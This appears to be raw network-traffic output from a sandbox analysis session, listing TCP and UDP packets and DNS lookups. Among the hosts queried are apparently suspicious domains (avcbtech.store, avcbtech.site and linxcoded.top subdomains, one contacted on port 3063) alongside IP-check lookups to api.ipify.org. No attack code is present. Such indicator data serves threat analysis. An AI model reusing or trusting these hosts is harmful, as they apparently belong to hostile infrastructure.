Mar 10, 2025 20:54:27.397316933 CET	64178	443	192.168.2.5	104.26.12.205
Mar 10, 2025 20:54:27.587800026 CET	443	64179	142.250.113.94	192.168.2.5
Mar 10, 2025 20:54:27.667413950 CET	64179	443	192.168.2.5	142.250.113.94
Mar 10, 2025 20:54:27.667452097 CET	443	64179	142.250.113.94	192.168.2.5
Mar 10, 2025 20:54:27.668730021 CET	443	64179	142.250.113.94	192.168.2.5
Mar 10, 2025 20:54:27.668744087 CET	443	64179	142.250.113.94	192.168.2.5
Mar 10, 2025 20:54:27.668836117 CET	64179	443	192.168.2.5	142.250.113.94
Mar 10, 2025 20:54:27.737796068 CET	64179	443	192.168.2.5	142.250.113.94
Mar 10, 2025 20:54:27.737989902 CET	443	64179	142.250.113.94	192.168.2.5
Mar 10, 2025 20:54:27.737993956 CET	64179	443	192.168.2.5	142.250.113.94
Mar 10, 2025 20:54:27.784332037 CET	443	64179	142.250.113.94	192.168.2.5
Mar 10, 2025 20:54:27.791282892 CET	64179	443	192.168.2.5	142.250.113.94
Mar 10, 2025 20:54:27.791304111 CET	443	64179	142.250.113.94	192.168.2.5
Mar 10, 2025 20:54:27.983236074 CET	64179	443	192.168.2.5	142.250.113.94
Mar 10, 2025 20:54:28.326405048 CET	443	64179	142.250.113.94	192.168.2.5
Mar 10, 2025 20:54:28.331782103 CET	443	64179	142.250.113.94	192.168.2.5
Mar 10, 2025 20:54:28.331832886 CET	64179	443	192.168.2.5	142.250.113.94
Mar 10, 2025 20:54:28.401591063 CET	64179	443	192.168.2.5	142.250.113.94
Mar 10, 2025 20:54:28.401619911 CET	443	64179	142.250.113.94	192.168.2.5
Mar 10, 2025 20:54:29.404234886 CET	64180	443	192.168.2.5	104.168.138.190
Mar 10, 2025 20:54:29.404284954 CET	443	64180	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:29.404356956 CET	64180	443	192.168.2.5	104.168.138.190
Mar 10, 2025 20:54:29.406773090 CET	64180	443	192.168.2.5	104.168.138.190
Mar 10, 2025 20:54:29.406800032 CET	443	64180	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:29.408032894 CET	64181	3063	192.168.2.5	185.174.100.76
Mar 10, 2025 20:54:29.412954092 CET	3063	64181	185.174.100.76	192.168.2.5
Mar 10, 2025 20:54:29.413042068 CET	64181	3063	192.168.2.5	185.174.100.76
Mar 10, 2025 20:54:29.413407087 CET	64181	3063	192.168.2.5	185.174.100.76
Mar 10, 2025 20:54:29.418253899 CET	3063	64181	185.174.100.76	192.168.2.5
Mar 10, 2025 20:54:29.418416977 CET	3063	64181	185.174.100.76	192.168.2.5
Mar 10, 2025 20:54:29.997869968 CET	3063	64181	185.174.100.76	192.168.2.5
Mar 10, 2025 20:54:29.997922897 CET	3063	64181	185.174.100.76	192.168.2.5
Mar 10, 2025 20:54:29.997962952 CET	3063	64181	185.174.100.76	192.168.2.5
Mar 10, 2025 20:54:29.998084068 CET	64181	3063	192.168.2.5	185.174.100.76
Mar 10, 2025 20:54:30.062799931 CET	64181	3063	192.168.2.5	185.174.100.76
Mar 10, 2025 20:54:30.063438892 CET	64181	3063	192.168.2.5	185.174.100.76
Mar 10, 2025 20:54:30.067709923 CET	3063	64181	185.174.100.76	192.168.2.5
Mar 10, 2025 20:54:30.068259001 CET	3063	64181	185.174.100.76	192.168.2.5
Mar 10, 2025 20:54:30.222779989 CET	3063	64181	185.174.100.76	192.168.2.5
Mar 10, 2025 20:54:30.352493048 CET	3063	64181	185.174.100.76	192.168.2.5
Mar 10, 2025 20:54:30.352549076 CET	64181	3063	192.168.2.5	185.174.100.76
Mar 10, 2025 20:54:30.495129108 CET	64176	443	192.168.2.5	104.26.13.205
Mar 10, 2025 20:54:30.495160103 CET	443	64176	104.26.13.205	192.168.2.5
Mar 10, 2025 20:54:31.001477003 CET	443	64176	104.26.13.205	192.168.2.5
Mar 10, 2025 20:54:31.193269014 CET	64176	443	192.168.2.5	104.26.13.205
Mar 10, 2025 20:54:31.506969929 CET	64176	443	192.168.2.5	104.26.13.205
Mar 10, 2025 20:54:31.506998062 CET	443	64176	104.26.13.205	192.168.2.5
Mar 10, 2025 20:54:31.545452118 CET	443	64180	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:31.591058016 CET	64180	443	192.168.2.5	104.168.138.190
Mar 10, 2025 20:54:31.591058969 CET	64181	3063	192.168.2.5	185.174.100.76
Mar 10, 2025 20:54:31.591088057 CET	443	64180	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:31.591643095 CET	443	64180	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:31.596312046 CET	3063	64181	185.174.100.76	192.168.2.5
Mar 10, 2025 20:54:31.699939013 CET	64180	443	192.168.2.5	104.168.138.190
Mar 10, 2025 20:54:31.700122118 CET	443	64180	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:31.700385094 CET	64180	443	192.168.2.5	104.168.138.190
Mar 10, 2025 20:54:31.744335890 CET	443	64180	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:31.872951031 CET	64178	443	192.168.2.5	104.26.12.205
Mar 10, 2025 20:54:31.872977972 CET	443	64178	104.26.12.205	192.168.2.5
Mar 10, 2025 20:54:32.375960112 CET	443	64180	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:32.391371012 CET	443	64180	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:32.391489029 CET	64180	443	192.168.2.5	104.168.138.190
Mar 10, 2025 20:54:32.406488895 CET	443	64178	104.26.12.205	192.168.2.5
Mar 10, 2025 20:54:32.439281940 CET	64180	443	192.168.2.5	104.168.138.190
Mar 10, 2025 20:54:32.439307928 CET	443	64180	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:32.487937927 CET	64178	443	192.168.2.5	104.26.12.205
Mar 10, 2025 20:54:32.493057966 CET	443	64178	104.26.12.205	192.168.2.5
Mar 10, 2025 20:54:32.581621885 CET	64182	443	192.168.2.5	104.168.138.190
Mar 10, 2025 20:54:32.581665039 CET	443	64182	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:32.581762075 CET	64182	443	192.168.2.5	104.168.138.190
Mar 10, 2025 20:54:32.582279921 CET	64182	443	192.168.2.5	104.168.138.190
Mar 10, 2025 20:54:32.582293987 CET	443	64182	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:32.651639938 CET	64178	443	192.168.2.5	104.26.12.205
Mar 10, 2025 20:54:32.651660919 CET	443	64178	104.26.12.205	192.168.2.5
Mar 10, 2025 20:54:34.693331003 CET	443	64182	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:34.764918089 CET	64182	443	192.168.2.5	104.168.138.190
Mar 10, 2025 20:54:34.764941931 CET	443	64182	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:34.765521049 CET	443	64182	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:34.800704002 CET	64182	443	192.168.2.5	104.168.138.190
Mar 10, 2025 20:54:34.800868988 CET	443	64182	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:34.800945997 CET	64182	443	192.168.2.5	104.168.138.190
Mar 10, 2025 20:54:34.848319054 CET	443	64182	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:35.534141064 CET	443	64182	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:35.534229040 CET	443	64182	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:35.534282923 CET	64182	443	192.168.2.5	104.168.138.190
Mar 10, 2025 20:54:35.591480970 CET	64182	443	192.168.2.5	104.168.138.190
Mar 10, 2025 20:54:35.591509104 CET	443	64182	104.168.138.190	192.168.2.5
Mar 10, 2025 20:54:41.921044111 CET	443	64176	104.26.13.205	192.168.2.5
Mar 10, 2025 20:54:41.921152115 CET	64176	443	192.168.2.5	104.26.13.205
Mar 10, 2025 20:54:41.982048035 CET	64176	443	192.168.2.5	104.26.13.205
Mar 10, 2025 20:54:41.982083082 CET	443	64176	104.26.13.205	192.168.2.5
Mar 10, 2025 20:54:43.167427063 CET	443	64178	104.26.12.205	192.168.2.5
Mar 10, 2025 20:54:43.167577028 CET	64178	443	192.168.2.5	104.26.12.205
Mar 10, 2025 20:54:43.196806908 CET	64178	443	192.168.2.5	104.26.12.205
Mar 10, 2025 20:54:43.196850061 CET	443	64178	104.26.12.205	192.168.2.5

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Mar 10, 2025 20:51:22.153369904 CET	54936	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:51:22.153507948 CET	52935	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:51:22.159461975 CET	53	51250	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:22.162368059 CET	53	52175	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:22.188976049 CET	53	52935	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:22.189376116 CET	53	54936	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:26.208806992 CET	53	59234	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:26.567282915 CET	59160	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:51:26.567404985 CET	65293	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:51:26.574035883 CET	53	65293	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:26.574274063 CET	53	59160	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:26.767574072 CET	61472	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:51:26.767745972 CET	61766	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:51:26.938678026 CET	53	61766	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:27.256289959 CET	53	61472	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:31.103311062 CET	53	60058	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:31.576659918 CET	53	64335	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:35.436033964 CET	63492	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:51:35.436197996 CET	54211	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:51:35.442876101 CET	53	63492	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:35.443273067 CET	53	54211	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:38.517024994 CET	63278	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:51:38.517227888 CET	63875	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:51:38.524542093 CET	53	63875	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:38.524585009 CET	53	63278	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:41.678131104 CET	63153	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:51:41.678319931 CET	60695	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:51:41.686304092 CET	53	63153	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:41.687015057 CET	53	60695	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:43.191996098 CET	53	56043	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:53.636557102 CET	52695	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:51:53.637232065 CET	53336	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:51:53.672607899 CET	53	53336	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:53.845793009 CET	53	52695	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:54.776318073 CET	57578	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:51:54.776608944 CET	57076	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:51:54.783123016 CET	53	57578	1.1.1.1	192.168.2.5
Mar 10, 2025 20:51:54.783245087 CET	53	57076	1.1.1.1	192.168.2.5
Mar 10, 2025 20:52:00.109172106 CET	54898	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:52:00.109524965 CET	65308	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:52:00.116260052 CET	53	54898	1.1.1.1	192.168.2.5
Mar 10, 2025 20:52:00.116925001 CET	53	65308	1.1.1.1	192.168.2.5
Mar 10, 2025 20:52:02.146006107 CET	58644	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:52:02.146248102 CET	49569	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:52:02.216536045 CET	53	53593	1.1.1.1	192.168.2.5
Mar 10, 2025 20:52:02.673043966 CET	53	58644	1.1.1.1	192.168.2.5
Mar 10, 2025 20:52:02.686321020 CET	53	49569	1.1.1.1	192.168.2.5
Mar 10, 2025 20:52:18.697345972 CET	138	138	192.168.2.5	192.168.2.255
Mar 10, 2025 20:52:21.860548019 CET	53	63271	1.1.1.1	192.168.2.5
Mar 10, 2025 20:52:24.765928984 CET	53	55664	1.1.1.1	192.168.2.5
Mar 10, 2025 20:52:28.698093891 CET	53	60480	1.1.1.1	192.168.2.5
Mar 10, 2025 20:52:55.748925924 CET	53	49960	1.1.1.1	192.168.2.5
Mar 10, 2025 20:53:12.855010986 CET	51335	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:53:12.855304003 CET	51704	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:53:13.843782902 CET	53	51704	1.1.1.1	192.168.2.5
Mar 10, 2025 20:53:13.844167948 CET	53	51335	1.1.1.1	192.168.2.5
Mar 10, 2025 20:53:13.880827904 CET	61389	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:53:13.881226063 CET	63496	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:53:13.887914896 CET	53	63496	1.1.1.1	192.168.2.5
Mar 10, 2025 20:53:13.888214111 CET	53	61389	1.1.1.1	192.168.2.5
Mar 10, 2025 20:53:15.913434982 CET	63625	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:53:15.920746088 CET	53	63625	1.1.1.1	192.168.2.5
Mar 10, 2025 20:53:16.928267956 CET	63625	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:53:16.935220957 CET	53	63625	1.1.1.1	192.168.2.5
Mar 10, 2025 20:53:17.928220987 CET	63625	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:53:17.935148001 CET	53	63625	1.1.1.1	192.168.2.5
Mar 10, 2025 20:53:41.718528032 CET	53	62191	1.1.1.1	192.168.2.5
Mar 10, 2025 20:53:50.270987034 CET	55322	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:53:50.278206110 CET	53	55322	1.1.1.1	192.168.2.5
Mar 10, 2025 20:53:51.286331892 CET	55322	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:53:51.380014896 CET	53	55322	1.1.1.1	192.168.2.5
Mar 10, 2025 20:53:52.301158905 CET	55322	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:53:52.307800055 CET	53	55322	1.1.1.1	192.168.2.5
Mar 10, 2025 20:53:54.315531969 CET	55322	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:53:54.322581053 CET	53	55322	1.1.1.1	192.168.2.5
Mar 10, 2025 20:53:58.331300020 CET	55322	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:53:58.338046074 CET	53	55322	1.1.1.1	192.168.2.5
Mar 10, 2025 20:54:17.737348080 CET	59878	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:54:17.737513065 CET	64105	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:54:17.744260073 CET	53	59878	1.1.1.1	192.168.2.5
Mar 10, 2025 20:54:17.745687008 CET	53	64105	1.1.1.1	192.168.2.5
Mar 10, 2025 20:54:20.025872946 CET	58092	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:54:20.026315928 CET	64381	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:54:20.551846981 CET	53	64381	1.1.1.1	192.168.2.5
Mar 10, 2025 20:54:20.551862955 CET	53	58092	1.1.1.1	192.168.2.5
Mar 10, 2025 20:54:22.410377979 CET	55427	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:54:22.410715103 CET	64568	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:54:22.412906885 CET	60101	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:54:22.413135052 CET	57763	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:54:22.418005943 CET	53	55427	1.1.1.1	192.168.2.5
Mar 10, 2025 20:54:22.418831110 CET	53	64568	1.1.1.1	192.168.2.5
Mar 10, 2025 20:54:22.419790030 CET	53	60101	1.1.1.1	192.168.2.5
Mar 10, 2025 20:54:22.420409918 CET	53	57763	1.1.1.1	192.168.2.5
Mar 10, 2025 20:54:23.473572016 CET	49209	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:54:23.474061012 CET	61189	53	192.168.2.5	1.1.1.1
Mar 10, 2025 20:54:23.480236053 CET	53	49209	1.1.1.1	192.168.2.5
Mar 10, 2025 20:54:23.483551979 CET	53	61189	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Mar 10, 2025 20:51:22.153369904 CET	192.168.2.5	1.1.1.1	0x9ec9	Standard query (0)	office.avcbtech.store	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:22.153507948 CET	192.168.2.5	1.1.1.1	0xd105	Standard query (0)	office.avcbtech.store	65	IN (0x0001)	false
Mar 10, 2025 20:51:26.567282915 CET	192.168.2.5	1.1.1.1	0x24a6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:26.567404985 CET	192.168.2.5	1.1.1.1	0xe2f9	Standard query (0)	www.google.com	65	IN (0x0001)	false
Mar 10, 2025 20:51:26.767574072 CET	192.168.2.5	1.1.1.1	0xde7	Standard query (0)	sender.linxcoded.top	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:26.767745972 CET	192.168.2.5	1.1.1.1	0xbf3	Standard query (0)	sender.linxcoded.top	65	IN (0x0001)	false
Mar 10, 2025 20:51:35.436033964 CET	192.168.2.5	1.1.1.1	0x3bc9	Standard query (0)	code.jquery.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:35.436197996 CET	192.168.2.5	1.1.1.1	0x5a64	Standard query (0)	code.jquery.com	65	IN (0x0001)	false
Mar 10, 2025 20:51:38.517024994 CET	192.168.2.5	1.1.1.1	0xb69c	Standard query (0)	i.imgur.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:38.517227888 CET	192.168.2.5	1.1.1.1	0x9be7	Standard query (0)	i.imgur.com	65	IN (0x0001)	false
Mar 10, 2025 20:51:41.678131104 CET	192.168.2.5	1.1.1.1	0x70db	Standard query (0)	i.imgur.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:41.678319931 CET	192.168.2.5	1.1.1.1	0x868d	Standard query (0)	i.imgur.com	65	IN (0x0001)	false
Mar 10, 2025 20:51:53.636557102 CET	192.168.2.5	1.1.1.1	0x5e26	Standard query (0)	server1.linxcoded.top	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:53.637232065 CET	192.168.2.5	1.1.1.1	0xc3a5	Standard query (0)	_3063._https.server1.linxcoded.top	65	IN (0x0001)	false
Mar 10, 2025 20:51:54.776318073 CET	192.168.2.5	1.1.1.1	0xfc57	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:54.776608944 CET	192.168.2.5	1.1.1.1	0xfa90	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Mar 10, 2025 20:52:00.109172106 CET	192.168.2.5	1.1.1.1	0x1bc8	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:52:00.109524965 CET	192.168.2.5	1.1.1.1	0x936d	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Mar 10, 2025 20:52:02.146006107 CET	192.168.2.5	1.1.1.1	0xcb4c	Standard query (0)	avcbtech.site	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:52:02.146248102 CET	192.168.2.5	1.1.1.1	0x2402	Standard query (0)	avcbtech.site	65	IN (0x0001)	false
Mar 10, 2025 20:53:12.855010986 CET	192.168.2.5	1.1.1.1	0xae03	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:12.855304003 CET	192.168.2.5	1.1.1.1	0x4589	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
Mar 10, 2025 20:53:13.880827904 CET	192.168.2.5	1.1.1.1	0x6600	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:13.881226063 CET	192.168.2.5	1.1.1.1	0x5d5e	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
Mar 10, 2025 20:53:15.913434982 CET	192.168.2.5	1.1.1.1	0x66d5	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:16.928267956 CET	192.168.2.5	1.1.1.1	0x66d5	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:17.928220987 CET	192.168.2.5	1.1.1.1	0x66d5	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:17.940658092 CET	192.168.2.5	1.1.1.1	0x1	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:50.270987034 CET	192.168.2.5	1.1.1.1	0x9f2b	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:51.286331892 CET	192.168.2.5	1.1.1.1	0x9f2b	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:52.301158905 CET	192.168.2.5	1.1.1.1	0x9f2b	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:54.315531969 CET	192.168.2.5	1.1.1.1	0x9f2b	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:53:58.331300020 CET	192.168.2.5	1.1.1.1	0x9f2b	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:54:17.737348080 CET	192.168.2.5	1.1.1.1	0xa43e	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:54:17.737513065 CET	192.168.2.5	1.1.1.1	0xa58c	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Mar 10, 2025 20:54:20.025872946 CET	192.168.2.5	1.1.1.1	0x1b3b	Standard query (0)	avcbtech.site	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:54:20.026315928 CET	192.168.2.5	1.1.1.1	0x6026	Standard query (0)	avcbtech.site	65	IN (0x0001)	false
Mar 10, 2025 20:54:22.410377979 CET	192.168.2.5	1.1.1.1	0x4502	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:54:22.410715103 CET	192.168.2.5	1.1.1.1	0xd61f	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false
Mar 10, 2025 20:54:22.412906885 CET	192.168.2.5	1.1.1.1	0xb5ef	Standard query (0)	api.ipify.org	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:54:22.413135052 CET	192.168.2.5	1.1.1.1	0x86b8	Standard query (0)	api.ipify.org	65	IN (0x0001)	false
Mar 10, 2025 20:54:23.473572016 CET	192.168.2.5	1.1.1.1	0x6d48	Standard query (0)	beacons.gcp.gvt2.com	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:54:23.474061012 CET	192.168.2.5	1.1.1.1	0x7b8e	Standard query (0)	beacons.gcp.gvt2.com	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Mar 10, 2025 20:51:22.189376116 CET	1.1.1.1	192.168.2.5	0x9ec9	No error (0)	office.avcbtech.store		139.28.36.38	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:26.574035883 CET	1.1.1.1	192.168.2.5	0xe2f9	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 10, 2025 20:51:26.574274063 CET	1.1.1.1	192.168.2.5	0x24a6	No error (0)	www.google.com		142.250.186.68	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:27.256289959 CET	1.1.1.1	192.168.2.5	0xde7	No error (0)	sender.linxcoded.top		185.174.100.20	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:35.442876101 CET	1.1.1.1	192.168.2.5	0x3bc9	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:35.442876101 CET	1.1.1.1	192.168.2.5	0x3bc9	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:35.442876101 CET	1.1.1.1	192.168.2.5	0x3bc9	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:35.442876101 CET	1.1.1.1	192.168.2.5	0x3bc9	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:38.524542093 CET	1.1.1.1	192.168.2.5	0x9be7	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:51:38.524585009 CET	1.1.1.1	192.168.2.5	0xb69c	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:51:38.524585009 CET	1.1.1.1	192.168.2.5	0xb69c	No error (0)	ipv4.imgur.map.fastly.net		199.232.192.193	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:38.524585009 CET	1.1.1.1	192.168.2.5	0xb69c	No error (0)	ipv4.imgur.map.fastly.net		199.232.196.193	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:38.525408030 CET	1.1.1.1	192.168.2.5	0xda78	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:51:38.525408030 CET	1.1.1.1	192.168.2.5	0xda78	No error (0)	azurefd-t-fb-prod.trafficmanager.net	dual.s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:51:38.525408030 CET	1.1.1.1	192.168.2.5	0xda78	No error (0)	dual.s-part-0044.t-0009.fb-t-msedge.net	s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:51:38.525408030 CET	1.1.1.1	192.168.2.5	0xda78	No error (0)	s-part-0044.t-0009.fb-t-msedge.net		13.107.253.72	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:41.686304092 CET	1.1.1.1	192.168.2.5	0x70db	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:51:41.686304092 CET	1.1.1.1	192.168.2.5	0x70db	No error (0)	ipv4.imgur.map.fastly.net		199.232.196.193	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:41.686304092 CET	1.1.1.1	192.168.2.5	0x70db	No error (0)	ipv4.imgur.map.fastly.net		199.232.192.193	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:41.687015057 CET	1.1.1.1	192.168.2.5	0x868d	No error (0)	i.imgur.com	ipv4.imgur.map.fastly.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:51:41.970930099 CET	1.1.1.1	192.168.2.5	0x76d2	No error (0)	shed.dual-low.s-part-0032.t-0009.t-msedge.net	azurefd-t-fb-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:51:41.970930099 CET	1.1.1.1	192.168.2.5	0x76d2	No error (0)	azurefd-t-fb-prod.trafficmanager.net	dual.s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:51:41.970930099 CET	1.1.1.1	192.168.2.5	0x76d2	No error (0)	dual.s-part-0044.t-0009.fb-t-msedge.net	s-part-0044.t-0009.fb-t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 20:51:41.970930099 CET	1.1.1.1	192.168.2.5	0x76d2	No error (0)	s-part-0044.t-0009.fb-t-msedge.net		13.107.253.72	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:53.672607899 CET	1.1.1.1	192.168.2.5	0xc3a5	Name error (3)	_3063._https.server1.linxcoded.top	none	none	65	IN (0x0001)	false
Mar 10, 2025 20:51:53.845793009 CET	1.1.1.1	192.168.2.5	0x5e26	No error (0)	server1.linxcoded.top		185.174.100.76	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:54.783123016 CET	1.1.1.1	192.168.2.5	0xfc57	No error (0)	api.ipify.org		104.26.12.205	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:54.783123016 CET	1.1.1.1	192.168.2.5	0xfc57	No error (0)	api.ipify.org		172.67.74.152	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:54.783123016 CET	1.1.1.1	192.168.2.5	0xfc57	No error (0)	api.ipify.org		104.26.13.205	A (IP address)	IN (0x0001)	false
Mar 10, 2025 20:51:54.783245087 CET	1.1.1.1	192.168.2.5	0xfa90	No error (0)	api.ipify.org			65	IN (0x0001)	false
